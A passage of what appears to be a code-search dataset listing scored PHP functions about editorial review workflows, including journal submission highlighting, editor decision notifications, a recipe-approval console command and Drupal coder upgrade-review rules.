'highlightCopyediting';\n\n\t\t\t// Check if copyeditor is overdue on round 3\n\t\t\tif (\t$dateLastCopyeditorFinal &&\n\t\t\t\t!$dateCopyeditorFinalCompleted &&\n\t\t\t\t$dateLastCopyeditorFinal + $overdueSeconds < time()\n\t\t\t) return 'highlightCopyediting';\n\n\t\t\t// Check if acknowledgement is overdue for CE round 3\n\t\t\tif ($dateCopyeditorFinalCompleted && !$dateCopyeditorFinalAcknowledged) return 'highlightCopyediting';\n\n\t\t\t// LAYOUT EDITING\n\t\t\t$layoutSignoff = $signoffDao->build('SIGNOFF_LAYOUT', ASSOC_TYPE_ARTICLE, $this->getId());\n\t\t\t$dateLayoutNotified = $layoutSignoff->getDateNotified() ?\n\t\t\t\tstrtotime($layoutSignoff->getDateNotified()) : 0;\n\t\t\t$dateLayoutUnderway = $layoutSignoff->getDateUnderway() ?\n\t\t\t\tstrtotime($layoutSignoff->getDateUnderway()) : 0;\n\t\t\t$dateLayoutCompleted = $layoutSignoff->getDateCompleted() ?\n\t\t\t\tstrtotime($layoutSignoff->getDateCompleted()) : 0;\n\t\t\t$dateLayoutAcknowledged = $layoutSignoff->getDateAcknowledged() ?\n\t\t\t\tstrtotime($layoutSignoff->getDateAcknowledged()) : 0;\n\t\t\t$dateLastLayout = max($dateLayoutNotified, $dateLayoutUnderway);\n\n\t\t\t// Check if Layout Editor needs to be notified.\n\t\t\tif ($dateLastCopyeditorFinal && !$dateLayoutNotified) return 'highlightLayoutEditing';\n\n\t\t\t// Check if layout editor is overdue\n\t\t\tif (\t$dateLastLayout &&\n\t\t\t\t!$dateLayoutCompleted &&\n\t\t\t\t$dateLastLayout + $overdueSeconds < time()\n\t\t\t) return 'highlightLayoutEditing';\n\n\t\t\t// Check if acknowledgement is overdue for layout\n\t\t\tif ($dateLayoutCompleted && !$dateLayoutAcknowledged) return 'highlightLayoutEditing';\n\n\t\t\t// PROOFREADING\n\t\t\t$signoffDao =& DAORegistry::getDAO('SignoffDAO');\n\n\t\t\t// First round of proofreading\n\t\t\t$authorSignoff = $signoffDao->build('SIGNOFF_PROOFREADING_AUTHOR', ASSOC_TYPE_ARTICLE, $this->getId());\n\t\t\t$dateAuthorNotified = $authorSignoff->getDateNotified() ?\n\t\t\t\tstrtotime($authorSignoff->getDateNotified()) : 0;\n\t\t\t$dateAuthorUnderway = $authorSignoff->getDateUnderway() ?\n\t\t\t\tstrtotime($authorSignoff->getDateUnderway()) : 0;\n\t\t\t$dateAuthorCompleted = $authorSignoff->getDateCompleted() ?\n\t\t\t\tstrtotime($authorSignoff->getDateCompleted()) : 0;\n\t\t\t$dateAuthorAcknowledged = $authorSignoff->getDateAcknowledged() ?\n\t\t\t\tstrtotime($authorSignoff->getDateAcknowledged()) : 0;\n\t\t\t$dateLastAuthor = max($dateNotified, $dateAuthorUnderway);\n\n\t\t\t// Check if the author is awaiting proofreading notification.\n\t\t\tif ($dateLayoutAcknowledged && !$dateAuthorNotified) return 'higlightProofreading';\n\n\t\t\t// Check if the author is overdue on round 1 of proofreading\n\t\t\tif (\t$dateLastAuthor &&\n\t\t\t\t!$dateAuthorCompleted &&\n\t\t\t\t$dateLastAuthor + $overdueSeconds < time()\n\t\t\t) return 'higlightProofreading';\n\n\t\t\t// Check if acknowledgement is overdue for proofreading round 1\n\t\t\tif ($dateAuthorCompleted && !$dateAuthorAcknowledged) return 'higlightProofreading';\n\n\t\t\t// Second round of proofreading\n\t\t\t$proofreaderSignoff = $signoffDao->build('SIGNOFF_PROOFREADING_PROOFREADER', ASSOC_TYPE_ARTICLE, $this->getId());\n\t\t\t$dateProofreaderNotified = $proofreaderSignoff->getDateNotified() ?\n\t\t\t\tstrtotime($proofreaderSignoff->getDateNotified()) : 0;\n\t\t\t$dateProofreaderUnderway = $proofreaderSignoff->getDateUnderway() ?\n\t\t\t\tstrtotime($proofreaderSignoff->getDateUnderway()) : 0;\n\t\t\t$dateProofreaderCompleted = $proofreaderSignoff->getDateCompleted() ?\n\t\t\t\tstrtotime($proofreaderSignoff->getDateCompleted()) : 0;\n\t\t\t$dateProofreaderAcknowledged = $proofreaderSignoff->getDateAcknowledged() ?\n\t\t\t\tstrtotime($proofreaderSignoff->getDateAcknowledged()) : 0;\n\t\t\t$dateLastProofreader = max($dateProofreaderNotified, $dateProofreaderUnderway);\n\n\t\t\t// Check if the proofreader is awaiting notification.\n\t\t\tif ($dateAuthorAcknowledged && !$dateProofreaderNotified) return 'higlightProofreading';\n\n\t\t\t// Check if acknowledgement is overdue for proofreading round 2\n\t\t\tif ($dateProofreaderCompleted && !$dateProofreaderAcknowledged) return 'higlightProofreading';\n\n\t\t\t// Check if proofreader is overdue on proofreading round 2\n\t\t\tif (\t$dateLastProofreader &&\n\t\t\t\t!$dateProofreaderCompleted &&\n\t\t\t\t$dateLastProofreader + $overdueSeconds < time()\n\t\t\t) return 'higlightProofreading';\n\n\t\t\t// Third round of proofreading\n\t\t\t$layoutEditorSignoff = $signoffDao->build('SIGNOFF_PROOFREADING_LAYOUT', ASSOC_TYPE_ARTICLE, $this->getId());\n\t\t\t$dateLayoutEditorNotified = $layoutEditorSignoff->getDateNotified() ?\n\t\t\t\tstrtotime($layoutEditorSignoff->getDateNotified()) : 0;\n\t\t\t$dateLayoutEditorUnderway = $layoutEditorSignoff->getDateUnderway() ?\n\t\t\t\tstrtotime($layoutEditorSignoff->getDateUnderway()) : 0;\n\t\t\t$dateLayoutEditorCompleted = $layoutEditorSignoff->getDateCompleted() ?\n\t\t\t\tstrtotime($layoutEditorSignoff->getDateCompleted()) : 0;\n\t\t\t$dateLastLayoutEditor = max($dateLayoutEditorNotified, $dateCopyeditorUnderway);\n\n\t\t\t// Check if the layout editor is awaiting notification.\n\t\t\tif ($dateProofreaderAcknowledged && !$dateLayoutEditorNotified) return 'higlightProofreading';\n\n\t\t\t// Check if proofreader is overdue on round 3 of proofreading\n\t\t\tif (\t$dateLastLayoutEditor &&\n\t\t\t\t!$dateLayoutEditorCompleted &&\n\t\t\t\t$dateLastLayoutEditor + $overdueSeconds < time()\n\t\t\t) return 'higlightProofreading';\n\n\t\t\t// Check if acknowledgement is overdue for proofreading round 3\n\t\t\tif ($dateLayoutEditorCompleted && !$dateLayoutEditorAcknowledged) return 'higlightProofreading';\n\t\t} else {\n\t\t\t// ---\n\t\t\t// --- Highlighting conditions for submissions in review\n\t\t\t// ---\n\t\t\t$reviewAssignments =& $this->getReviewAssignments($this->getCurrentRound());\n\t\t\tif (is_array($reviewAssignments) && !empty($reviewAssignments)) {\n\t\t\t\t$allReviewsComplete = true;\n\t\t\t\tforeach ($reviewAssignments as $i => $junk) {\n\t\t\t\t\t$reviewAssignment =& $reviewAssignments[$i];\n\n\t\t\t\t\t// If the reviewer has not been notified, highlight.\n\t\t\t\t\tif ($reviewAssignment->getDateNotified() === null) return 'highlightReviewerNotNotified';\n\n\t\t\t\t\t// Check review status.\n\t\t\t\t\tif (!$reviewAssignment->getCancelled() && !$reviewAssignment->getDeclined()) {\n\t\t\t\t\t\tif (!$reviewAssignment->getDateCompleted() && !$reviewAssignment->getCancelled()) $allReviewsComplete = false;\n\n\t\t\t\t\t\t$dateReminded = $reviewAssignment->getDateReminded() ?\n\t\t\t\t\t\t\tstrtotime($reviewAssignment->getDateReminded()) : 0;\n\t\t\t\t\t\t$dateNotified = $reviewAssignment->getDateNotified() ?\n\t\t\t\t\t\t\tstrtotime($reviewAssignment->getDateNotified()) : 0;\n\t\t\t\t\t\t$dateConfirmed = $reviewAssignment->getDateConfirmed() ?\n\t\t\t\t\t\t\tstrtotime($reviewAssignment->getDateConfirmed()) : 0;\n\n\t\t\t\t\t\t// Check whether a reviewer is overdue to confirm invitation\n\t\t\t\t\t\tif (!$reviewAssignment->getDateCompleted() &&\n\t\t\t\t\t\t\t!$dateConfirmed &&\n\t\t\t\t\t\t\t!$journal->getSetting('remindForInvite') &&\n\t\t\t\t\t\t\tmax($dateReminded, $dateNotified) + $overdueSeconds < time()\n\t\t\t\t\t\t) return 'highlightReviewerConfirmationOverdue';\n\t\t\t\t\t\t// Check whether a reviewer is overdue to complete review\n\t\t\t\t\t\tif (!$reviewAssignment->getDateCompleted() &&\n\t\t\t\t\t\t\t$dateConfirmed &&\n\t\t\t\t\t\t\t!$journal->getSetting('remindForSubmit') &&\n\t\t\t\t\t\t\tmax($dateReminded, $dateConfirmed) + $overdueSeconds < time()\n\t\t\t\t\t\t) return 'highlightReviewerCompletionOverdue';\n\t\t\t\t\t}\n\n\t\t\t\t\tunset($reviewAssignment);\n\t\t\t\t}\n\t\t\t\t// If all reviews are complete but no decision is recorded, highlight.\n\t\t\t\tif ($allReviewsComplete && $decisionsEmpty) return 'highlightNoDecision';\n\n\t\t\t\t// If the author's last file upload hasn't been taken into account in\n\t\t\t\t// the most recent decision or author/editor correspondence, highlight.\n\t\t\t\t$comment = $this->getMostRecentEditorDecisionComment();\n\t\t\t\t$commentDate = $comment ? strtotime($comment->getDatePosted()) : 0;\n\t\t\t\t$authorFileRevisions = $this->getAuthorFileRevisions($this->getCurrentRound());\n\t\t\t\t$authorFileDate = null;\n\t\t\t\tif (is_array($authorFileRevisions) && !empty($authorFileRevisions)) {\n\t\t\t\t\t$authorFile = array_pop($authorFileRevisions);\n\t\t\t\t\t$authorFileDate = strtotime($authorFile->getDateUploaded());\n\t\t\t\t}\n\t\t\t\tif (\t($lastDecisionDate || $commentDate) &&\n\t\t\t\t\t$authorFileDate &&\n\t\t\t\t\t$authorFileDate > max($lastDecisionDate, $commentDate)\n\t\t\t\t) return 'highlightRevisedCopyUploaded';\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}", "title": "" }, { "docid": "e3fc1ee012075b7cd00d2b8efbf444ec", "score": "0.532827", "text": "function _getEditorDecisionNotificationParameters($decision) {\n\t\t// Access decision constants.\n\t\timport('classes.workflow.EditorDecisionActionsManager');\n\n\t\tswitch ($decision) {\n\t\t\tcase SUBMISSION_EDITOR_DECISION_INITIATE_REVIEW:\n\t\t\t\treturn array(\n\t\t\t\t\t'level' => NOTIFICATION_LEVEL_NORMAL,\n\t\t\t\t\t'type' => NOTIFICATION_TYPE_EDITOR_DECISION_INITIATE_REVIEW);\n\t\t\t\tbreak;\n\t\t\tcase SUBMISSION_EDITOR_DECISION_ACCEPT:\n\t\t\t\treturn array(\n\t\t\t\t\t'level' => NOTIFICATION_LEVEL_NORMAL,\n\t\t\t\t\t'type' => NOTIFICATION_TYPE_EDITOR_DECISION_ACCEPT);\n\t\t\t\tbreak;\n\t\t\tcase SUBMISSION_EDITOR_DECISION_EXTERNAL_REVIEW:\n\t\t\t\treturn array(\n\t\t\t\t\t'level' => NOTIFICATION_LEVEL_NORMAL,\n\t\t\t\t\t'type' => NOTIFICATION_TYPE_EDITOR_DECISION_EXTERNAL_REVIEW);\n\t\t\t\tbreak;\n\t\t\tcase SUBMISSION_EDITOR_DECISION_PENDING_REVISIONS:\n\t\t\t\treturn array(\n\t\t\t\t\t'level' => NOTIFICATION_LEVEL_NORMAL,\n\t\t\t\t\t'type' => NOTIFICATION_TYPE_EDITOR_DECISION_PENDING_REVISIONS);\n\t\t\t\tbreak;\n\t\t\tcase SUBMISSION_EDITOR_DECISION_RESUBMIT:\n\t\t\t\treturn array(\n\t\t\t\t\t'level' => NOTIFICATION_LEVEL_NORMAL,\n\t\t\t\t\t'type' => NOTIFICATION_TYPE_EDITOR_DECISION_RESUBMIT);\n\t\t\t\tbreak;\n\t\t\tcase SUBMISSION_EDITOR_DECISION_DECLINE:\n\t\t\t\treturn array(\n\t\t\t\t\t'level' => NOTIFICATION_LEVEL_NORMAL,\n\t\t\t\t\t'type' => NOTIFICATION_TYPE_EDITOR_DECISION_DECLINE);\n\t\t\t\tbreak;\n\t\t\tcase SUBMISSION_EDITOR_DECISION_SEND_TO_PRODUCTION:\n\t\t\t\treturn array(\n\t\t\t\t\t'level' => NOTIFICATION_LEVEL_NORMAL,\n\t\t\t\t\t'type' => NOTIFICATION_TYPE_EDITOR_DECISION_SEND_TO_PRODUCTION);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tassert(false);\n\t\t\t\tbreak;\n\t\t}\n\t}", "title": "" }, { "docid": "d4dad41fce98f23b2825781d42506629", "score": "0.52958816", "text": "function _review($args, &$request) {\n\t\t// Retrieve the authorized submission.\n\t\t$monograph =& $this->getAuthorizedContextObject(ASSOC_TYPE_MONOGRAPH);\n\t\t$selectedStageId = $this->getAuthorizedContextObject(ASSOC_TYPE_WORKFLOW_STAGE);\n\n\t\t// Retrieve and validate the review round currently being looked at.\n\t\tif (count($args) > 1 && is_numeric($args[1])) {\n\t\t\t$selectedRound = (int)$args[1];\n\t\t} else {\n\t\t\t$selectedRound = null;\n\t\t}\n\n\t\t$reviewRoundDao =& DAORegistry::getDAO('ReviewRoundDAO');\n\t\t$currentRound = $reviewRoundDao->getCurrentRoundByMonographId($monograph->getId(), $selectedStageId);\n\n\t\t// Make sure round is not higher than the monograph's latest round.\n\t\tif(!$selectedRound || $selectedRound > $currentRound) {\n\t\t\t$selectedRound = $currentRound;\n\t\t}\n\n\t\t// Add the review stage and the round information to the template.\n\t\t$templateMgr =& TemplateManager::getManager();\n\t\t$templateMgr->assign('selectedStageId', $selectedStageId);\n\t\t$templateMgr->assign('currentRound', $currentRound);\n\t\t$templateMgr->assign('selectedRound', $selectedRound);\n\n\t\tif ($monograph->getStageId() == $selectedStageId) {\n\t\t\t$dispatcher =& $request->getDispatcher();\n\t\t\t$newRoundAction = new LinkAction(\n\t\t\t\t'newRound',\n\t\t\t\tnew AjaxModal(\n\t\t\t\t\t$dispatcher->url(\n\t\t\t\t\t\t$request, ROUTE_COMPONENT, null,\n\t\t\t\t\t\t'modals.editorDecision.EditorDecisionHandler',\n\t\t\t\t\t\t'newReviewRound', null, array(\n\t\t\t\t\t\t\t'monographId' => $monograph->getId(),\n\t\t\t\t\t\t\t'decision' => SUBMISSION_EDITOR_DECISION_RESUBMIT,\n\t\t\t\t\t\t\t'stageId' => $selectedStageId\n\t\t\t\t\t\t)\n\t\t\t\t\t),\n\t\t\t\t\t__('editor.monograph.newRound')\n\t\t\t\t),\n\t\t\t\t__('editor.monograph.newRound'),\n\t\t\t\t'add_item_small'\n\t\t\t); // FIXME: add icon.\n\t\t\t$templateMgr->assign_by_ref('newRoundAction', $newRoundAction);\n\t\t}\n\n\t\t// Render the view.\n\t\t$templateMgr->display('workflow/review.tpl');\n\t}", "title": "" }, { "docid": "4bc2a7481b9a75bdfc0a31f10897e70f", "score": "0.5291569", "text": "function _copyeditingStageDecisions() {\n\t\tstatic $decisions = array(\n\t\t\tSUBMISSION_EDITOR_DECISION_SEND_TO_PRODUCTION => array(\n\t\t\t\t'operation' => 'promote',\n\t\t\t\t'name' => 'sendToProduction',\n\t\t\t\t'title' => 'editor.monograph.decision.sendToProduction',\n\t\t\t\t'image' => 'approve'\n\t\t\t)\n\t\t);\n\n\t\treturn $decisions;\n\t}", "title": "" }, { "docid": "2127cc043f720854d3dbea3bb7c4dfd8", "score": "0.52625173", "text": "private function populateReviewFormPart() {\n\t\tglobal $lng;\n\t\t$head_r = new ilFormSectionHeaderGUI();\n\t\t$head_r->setTitle($lng->txt(\"rep_robj_xrev_review\"));\n\t\t$this->addItem($head_r);\n\t\t\n\t\t$head = new ilAspectHeadGUI(array($lng->txt(\"rep_robj_xrev_correctness\"),\n\t\t\t\t\t\t\t\t\t\t\t\t\t $lng->txt(\"rep_robj_xrev_relevance\"),\n\t\t\t\t\t\t\t\t\t\t\t\t\t $lng->txt(\"rep_robj_xrev_expression\")));\n\t\t$this->addItem($head);\n\n\t\t$desc = new ilAspectSelectInputGUI($lng->txt(\"description\"), array(\"dc\" => array(\"options\" => $this->evaluation,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"selected\" => $this->review[\"desc_corr\"]),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"dr\" => array(\"options\" => $this->evaluation,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"selected\" => $this->review[\"desc_relv\"]),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"de\" => array(\"options\" => $this->evaluation,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"selected\" => $this->review[\"desc_expr\"])),\n\t\t\t\t\t\t\t\t\t\t\t\t\t false);\n\t\t$this->addItem($desc);\n\n\t\t$quest = new ilAspectSelectInputGUI($lng->txt(\"question\"), array(\"qc\" => array(\"options\" => $this->evaluation,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t \"selected\" => $this->review[\"quest_corr\"]),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t \"qr\" => array(\"options\" => $this->evaluation,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"selected\" => $this->review[\"quest_relv\"]),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"qe\" => array(\"options\" => $this->evaluation,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"selected\" => $this->review[\"quest_expr\"])),\n\t\t\t\t\t\t\t\t\t\t\t\t\t false);\n\t\t$this->addItem($quest);\n\n\t\t$answ = new ilAspectSelectInputGUI($lng->txt(\"answers\"), array(\"ac\" => array(\"options\" => $this->evaluation,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"selected\" => $this->review[\"answ_corr\"]),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"ar\" => array(\"options\" => $this->evaluation,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"selected\" => $this->review[\"answ_relv\"]),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"ae\" => array(\"options\" => $this->evaluation,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"selected\" => $this->review[\"answ_expr\"])),\n\t\t\t\t\t\t\t\t\t\t\t\t\t false);\n\t\t$this->addItem($answ);\n\t}", "title": "" }, { "docid": "274861bf61788d971999bc6266b154f2", "score": "0.52397823", "text": "public function actionReview(): int\n {\n /** @var Entry[]|RecipeBehavior[] $recipes */\n $recipes = Entry::find()\n ->section('recipes')\n ->status(Element::STATUS_DISABLED)\n ->authorGroup('members')\n ->all();\n\n if (empty($recipes)) {\n $this->stdout(PHP_EOL . '✅ No recipes are pending review.' . PHP_EOL . PHP_EOL, Console::FG_GREEN);\n return ExitCode::OK;\n }\n\n $count = Console::ansiFormat(count($recipes), [Console::FG_YELLOW]);\n $this->stdout(\"There are $count recipes pending review:\" . PHP_EOL . PHP_EOL);\n $options = [];\n\n foreach ($recipes as $i => $recipe) {\n $num = Console::ansiFormat(($i + 1) . ')', [Console::FG_YELLOW, Console::BOLD]);\n $title = $this->_userval(\"“{$recipe->title}”\");\n $this->stdout(\"$num $title by {$recipe->author->name}\" . PHP_EOL);\n $options[(string)($i + 1)] = $recipe->title;\n }\n\n $options['all'] = 'All recipes';\n $toReview = $this->select(PHP_EOL . 'Which ones do you want to review?', $options);\n $keys = $toReview === 'all' ? array_keys($recipes) : [$toReview - 1];\n\n foreach ($keys as $key) {\n $recipe = $recipes[$key];\n\n $this->stdout(PHP_EOL);\n $this->stdout($this->_field('Name', $recipe->title) . PHP_EOL . PHP_EOL);\n $this->stdout($this->_field('Ingredients', $recipe->getIngredientsText(true)) . PHP_EOL . PHP_EOL);\n $this->stdout($this->_field('Directions', $recipe->getDirectionsText(true)) . PHP_EOL . PHP_EOL);\n\n $description = '';\n $chunks = preg_split('/(<.*?>)/', $recipe->description, -1, PREG_SPLIT_DELIM_CAPTURE);\n foreach ($chunks as $i => $chunk) {\n $description .= Console::ansiFormat($chunk, [$i % 2 ? Console::FG_BLUE : Console::FG_CYAN]);\n }\n $this->stdout($this->_field('Description', $description) . PHP_EOL . PHP_EOL);\n\n if ($this->confirm('Look good?')) {\n $recipe->enabled = true;\n Craft::$app->elements->saveElement($recipe, false);\n \n // send email to user\n $mailer = Craft::$app->getMailer();\n\n $mailer\n ->composeFromKey(Module::MESSAGE_KEY_RECIPE_APPROVE, [\n 'recipe' => $recipe,\n ])\n ->setFrom($mailer->from)\n ->setTo($recipe->author->email)\n ->send();\n\n $this->stdout(PHP_EOL . '✅ Recipe enabled' . PHP_EOL . PHP_EOL, Console::FG_GREEN);\n }\n }\n\n return ExitCode::OK;\n }", "title": "" }, { "docid": "9724f5a8d2d93c25441f96a11759fa3f", "score": "0.5186984", "text": "function _reviewRound($args, &$request) {\n\t\t// Retrieve the authorized submission.\n\t\t$monograph =& $this->getAuthorizedContextObject(ASSOC_TYPE_MONOGRAPH);\n\t\t$stageId = $this->getAuthorizedContextObject(ASSOC_TYPE_WORKFLOW_STAGE);\n\n\t\tif (!(count($args) > 1 && is_numeric($args[1]))) fatalError('Invalid round given!');\n\t\t$round = (int)$args[1];\n\n\t\t// Add the review stage and the round information to the template.\n\t\t$templateMgr =& TemplateManager::getManager();\n\t\t$templateMgr->assign('stageId', $stageId);\n\t\t$templateMgr->assign('round', $round);\n\n\t\t// Assign editor decision actions to the template.\n\t\t$additionalActionArgs = array(\n\t\t\t'stageId' => $stageId,\n\t\t\t'round' => $round\n\t\t);\n\t\tif ($stageId == WORKFLOW_STAGE_ID_INTERNAL_REVIEW) {\n\t\t\t$callback = '_internalReviewStageDecisions';\n\t\t} elseif ($stageId == WORKFLOW_STAGE_ID_EXTERNAL_REVIEW) {\n\t\t\t$callback = '_externalReviewStageDecisions';\n\t\t}\n\t\t$this->_assignEditorDecisionActions($request, $callback, $additionalActionArgs);\n\n\t\t// Retrieve and assign the review round status.\n\t\t$reviewRoundDao =& DAORegistry::getDAO('ReviewRoundDAO'); /* @var $reviewRoundDao ReviewRoundDAO */\n\t\t$reviewRound =& $reviewRoundDao->build($monograph->getId(), $stageId, $round);\n\t\t$templateMgr->assign('roundStatus', $reviewRound->getStatusKey());\n\n\t\treturn $templateMgr->fetchJson('workflow/reviewRound.tpl');\n\t}", "title": "" }, { "docid": "ea9f4fce1c9023c806259b7dfe15814b", "score": "0.5180131", "text": "public function get_stimulus_review() {\n return $this->stimulus_review;\n }", "title": "" }, { "docid": "4e918b9bc2025d57c65470934f2dd42a", "score": "0.51789916", "text": "protected function renderReview()\n {\n if (!$this->value) {\n return;\n }\n\n if (!$this->isRequired() && $this->isInUploads()) {\n return $this->renderDestuctableReview();\n }\n\n return $this->renderIndestructibleReview();\n }", "title": "" }, { "docid": "03e726c09a9b43f12d7fb9bd59d99f5b", "score": "0.50652844", "text": "function getMostRecentEditorDecisionComment() {\n\t\treturn $this->getData('mostRecentEditorDecisionComment');\n\t}", "title": "" }, { "docid": "005c0aac99bd1b29fe15cb0a577c1126", "score": "0.50405145", "text": "function coder_6x_reviews() {\n $argex = '(((\\$?)[a-zA-Z_]+((\\([^)]*\\))|\\[[^\\]]*\\])?)|[0-9]+(\\.[0-9]*)?|\\'\\'|\"\")';\n $rules = array(\n array(\n '#type' => 'regex',\n '#function' => '_menu$',\n '#value' => '\\$items\\[\\]\\s*=|if\\s*\\(\\$may_cache\\)',\n '#warning_callback' => '_coder_6x_new_menu_system_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => '_form_alter\\s*\\(\\$',\n '#warning_callback' => '_coder_6x_form_alter_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => '_link_alter\\s*\\(\\$',\n '#warning_callback' => '_coder_6x_link_alter_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => '_profile_alter\\s*\\(\\$',\n '#warning_callback' => '_coder_6x_profile_alter_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => '_mail_alter\\s*\\([^,]+,',\n '#warning_callback' => '_coder_6x_mail_alter_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => '[\\s\\(]l\\s*\\(('. $argex .'\\s*,\\s*){3,}('. $argex .')\\s*\\)',\n '#warning_callback' => '_coder_6x_url_l_warning', \n ),\n array(\n '#type' => 'regex',\n '#value' => '[\\s\\(]url\\s*\\(('. $argex .'\\s*,\\s*){2,}('. $argex .')\\s*\\)',\n '#warning_callback' => '_coder_6x_url_l_warning', \n ),\n array(\n '#type' => 'regex',\n '#value' => 'global \\$locale',\n '#warning' => '$locale became $language',\n ),\n array(\n '#type' => 'regex',\n '#value' => '(taxonomy_node_get_terms|taxonomy_node_get_terms_by_vocabulary|taxonomy_node_delete_revision)\\s*\\(\\$(nid|node->nid)',\n '#warning_callback' => '_coder_6x_taxonomy_node_get_terms_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => '[\\s\\(]strtr\\s*\\(format_plural\\s*\\(',\n '#warning_callback' => '_coder_6x_format_plural_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => 'watchdog\\s*\\(\\s*\\'\\',\\s*t\\(\\'',\n '#warning_callback' => '_coder_6x_watchdog_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => '[\\s\\(]cache_set\\s*\\(\\s*[^,]+,\\s*\\'',\n '#warning_callback' => '_coder_6x_cache_set_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => '[\\s\\(]unserialize\\s*\\(\\s*cache_get\\s*\\(',\n '#warning_callback' => '_coder_6x_cache_get_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => '\\$_SERVER\\s*\\[\\s*[\\'\"]REMOTE_ADDR[\\'\"]\\s*\\]',\n '#source' => 'all',\n '#warning_callback' => '_coder_6x_remote_addr_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => '[\\s\\(]file_check_upload\\s*\\(',\n '#warning_callback' => '_coder_6x_file_check_upload_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => '((function)!\\s+|\\()file_save_upload\\s*\\([^,]+\\s*,\\s*[^,]+\\s*,',\n '#not' => 'function file_save_upload',\n '#warning_callback' => '_coder_6x_file_check_upload_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => '\\{file_revisions\\}', \n '#warning' => 'The {file_revisions} table is now {upload}',\n '#source' => 'quote',\n ),\n array(\n '#type' => 'callback',\n '#value' => '_coder_6x_callback',\n ),\n // FAPI Rules\n array(\n '#type' => 'regex',\n '#source' => 'all',\n '#value' => '(\\$form\\s*\\[\\s*[\\'\"]#base[\\'\"]|[\\'\"]#base[\\'\"]\\s*=>)',\n '#warning' => 'FormAPI\\'s #base property is gone, manually populate the $form[\\'#submit\\'], $form[\\'#validate\\'], and $form[\\'#theme\\'] elements with the proper function names',\n ),\n array(\n '#type' => 'regex',\n '#source' => 'all',\n '#value' => '\\$form\\s*\\[\\s*[\\'\"]#validate[\\'\"]\\]\\[[\\'\"]',\n '#warning' => 'Validation for specific form elements now uses the #element_validate property',\n ),\n array(\n '#type' => 'regex',\n '#source' => 'all',\n '#value' => '(\\$form\\s*\\[\\s*[\\'\"]#multistep[\\'\"]|[\\'\"]#multistep[\\'\"]\\s*=>)',\n '#warning' => '#multistep is gone, use $form_state instead',\n ),\n array(\n '#type' => 'regex',\n '#value' => '_(validate|submit)\\s*\\(\\s*\\$form_id',\n '#warning_callback' => '_coder_6x_form_validate_and_submit_warning',\n ), \n array(\n '#type' => 'regex',\n '#value' => '\\$form\\[[\\'\"]#submit[\\'\"]\\]\\[[\\'\"]',\n '#source' => 'all',\n '#warning' => '$form[\\'#submit\\'] and $form[\\'#validate\\'] no longer support custom parameters',\n ),\n array(\n '#type' => 'regex',\n '#value' => '[\\s\\(]form_set_value\\s*\\([^,]+(,\\s*[^,\\)]+){0,1}\\)',\n '#warning_callback' => '_coder_6x_form_set_value_warning',\n ),\n/* from Delete API, which has been reverted\n array(\n '#type' => 'regex',\n '#value' => '[\\s\\(]confirm_form\\s*\\([^,]+(,\\s*[^,]+){4,}',\n '#warning_callback' => '_coder_6x_confirm_form_warning',\n ),\n*/\n array(\n '#type' => 'regex',\n '#value' => '[\\s\\(]custom_url_rewrite\\s*\\(',\n '#warning_callback' => '_coder_6x_custom_url_rewrite_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => '_(info)\\s*\\(\\s*\\$field',\n '#warning_callback' => '_coder_6x_hook_info_auth_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => '_(auth)\\s*\\(\\s*\\$user',\n '#warning_callback' => '_coder_6x_hook_info_auth_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => '_(help)\\s*\\(\\s*[^,]+\\)',\n '#warning_callback' => '_coder_6x_hook_help_warning',\n ),\n array(\n '#type' => 'regex',\n '#source' => 'all',\n '#value' => '\\$form(_values)?\\s*\\[\\s*[\\'\"]?op[\\'\"]?\\s*\\]',\n '#warning' => 'replace $form[\\'op\\'] with $form_state[\\'values\\'][\\'op\\']',\n ),\n array(\n '#type' => 'regex',\n '#function' => '_confirm_submit$',\n '#value' => 'return [\\'\"]',\n '#warning' => 'in confirm_form, use $form_state[\\'redirect\\'] instead of return (remember to change function prototype to use &$form_state) ',\n ),\n array(\n '#type' => 'regex',\n '#function' => '_confirm_submit$',\n '#value' => 'return [\\'\"]',\n '#warning' => 'in confirm_form, use $form_state[\\'redirect\\'] instead of return (remember to change function prototype to use &$form_state) ',\n 